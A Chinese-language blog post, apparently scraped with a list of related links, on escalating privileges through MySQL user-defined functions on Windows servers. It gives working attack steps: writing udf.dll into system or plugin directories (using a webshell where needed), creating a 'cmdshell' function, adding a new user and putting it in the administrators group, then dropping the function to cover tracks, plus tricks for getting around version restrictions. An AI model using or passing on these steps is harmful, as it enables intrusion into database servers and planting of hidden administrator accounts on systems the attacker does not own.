一、适用条件

1.目标系统是Windows(Win2000,XP,Win2003);

2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

3.有root账号密码

二、导出udf

MYSQL 5.1以下版本导出路径:

C:Winntudf.dll    2000

C:Windowsudf.dll 2003(有的系统被转义,需要改为C:Windowsudf.dll)

导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like ‘%plugins%’   寻找mysql安装路径

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

三、提权

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

总结:

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。

无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,

这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。

所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。

大家有的时候在创建函数的时候,常常会遇到:

数据库查讯出错,请检查SQL语句create function cmdshell returns string soname ‘udf.dll’的语法是否正确。Function ‘cmdshell’already exists

官方描述如下:

http://bugs.mysql.com/bug.php?id=15439

Description:

Under some circumstances, case handling of UDF names leads to strange behaviour.

This can result in a situation where the function can be successfully dropped

without actually removing the corresponding entry from the mysql.func table.

…………这是因为MYSQL 5.1及以后的版本中,又多了一个限制。

创建函数时所用的DLL只能放在mysql的plugin目录里面。。

而且这个plugin目录默认是不存在的。。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。。

MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。

所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

如果是5.1以后的,那就不行了,如果是5.1以前的版本创建函数的时候还报Can’t open shared library这个错误。

那就要看看DLL是不是真的被导出了,还是被杀软隔离或者干掉了。

mysql导出udf失败_udf提权方法和出现问题汇总相关推荐

  1. Windows提权方法简单总结

    目录 前言 一.本地提权 系统内核溢出漏洞提权 错误系统配置提权 可信任服务路径漏洞 系统服务权限配置错误 计划任务提权 GPP组策略首选项提权 令牌窃取 数据库提权 二.域内提权 MS14-068 ...

  2. linux 提权方法总结

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  3. windows程序提权方法

    Windows下应用程序如果需要做一些系统管理或进程管理之类的工作,经常需要将本进程提权(获取权限令牌): 而通常windows下提权方法有两种,主要的方法是: 1)win32API--AdjustT ...

  4. vulnhub渗透系列之DC(一) :内含suid的三种提权方法

    我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习. 实验过程总结 1.这个题我觉得对刚入门的我来说,十分的困难 ...

  5. Windows提权方法

    目录 前言 Windows系统内核溢出漏洞提权 1. 手动查找系统潜在漏洞 2. 自动查找系统潜在漏洞 Windows Exploit Suggester local_exploit_suggeste ...

  6. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  7. mysql udf提权原理_udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  8. mysql 提权方法_mysql常用的提权方法

    一,利用MOF提权 Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp. ...

  9. linux下 udf提权_udf提权

    0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...

最新文章

  1. 试图将驱动程序添加到存储区_Ubuntu 19.10IOS将捆绑NVIDIA驱动
  2. 从一个程序员的角度看——微信小应用
  3. java steam 排序_java8 stream自定义分组求和并排序的实现
  4. Java集合---HashSet的源码分析
  5. c++保留小数点后三位数_C++保留有效位与保留小数位
  6. apache缓存php页面不改变,Apache服务器禁止静态文件缓存的实现方法
  7. hbase 预写日志_HDInsight HBase 加速写入现已正式发布
  8. vue脚手架的自定义配置
  9. 如何使用雅虎相册在陶宝网增加宝贝描述图片(转)
  10. 用selenium模拟QQ空间登录
  11. 了解Linux操作系统
  12. 微信增加粉丝的108种方法
  13. 反转链表-递归反转法
  14. vi与vim的区别以及常用命令
  15. 电磁波频谱 和 波段划分以及名称由来(收集)
  16. MOS 转载 ORA-1555 诊断和分析
  17. 压缩解压:tar zip unzip 7z|7za rar
  18. 用Keras解决机器学习问题!
  19. 多模态的研究现状与应用场景的调查研究
  20. 中易云嵌入式工业主机-低功耗工业控制智能终端

热门文章

  1. php实现图形计算器
  2. cocoscreator开发h5游戏提升加载速度
  3. 优信二手车助力浪漫90后 巨型快递见证甜蜜瞬间
  4. HDU2570-迷瘴
  5. 网页设计作业——电影网H5(9页) HTML+CSS+JavaScript 学生DW网页设计作业成品 web课程设计网页规划与设计 计算机毕设网页设计源码
  6. 我的GitHub:https://github.com/yuyufeng1994
  7. 如何将Prc格式转换成Mobi格式文件
  8. 2022“远光九天杯”羽毛球邀请赛圆满落幕
  9. 多地部署高考安防措施 严防在校大学生替考
  10. 【HaaS Python硬件积木】乙醇传感器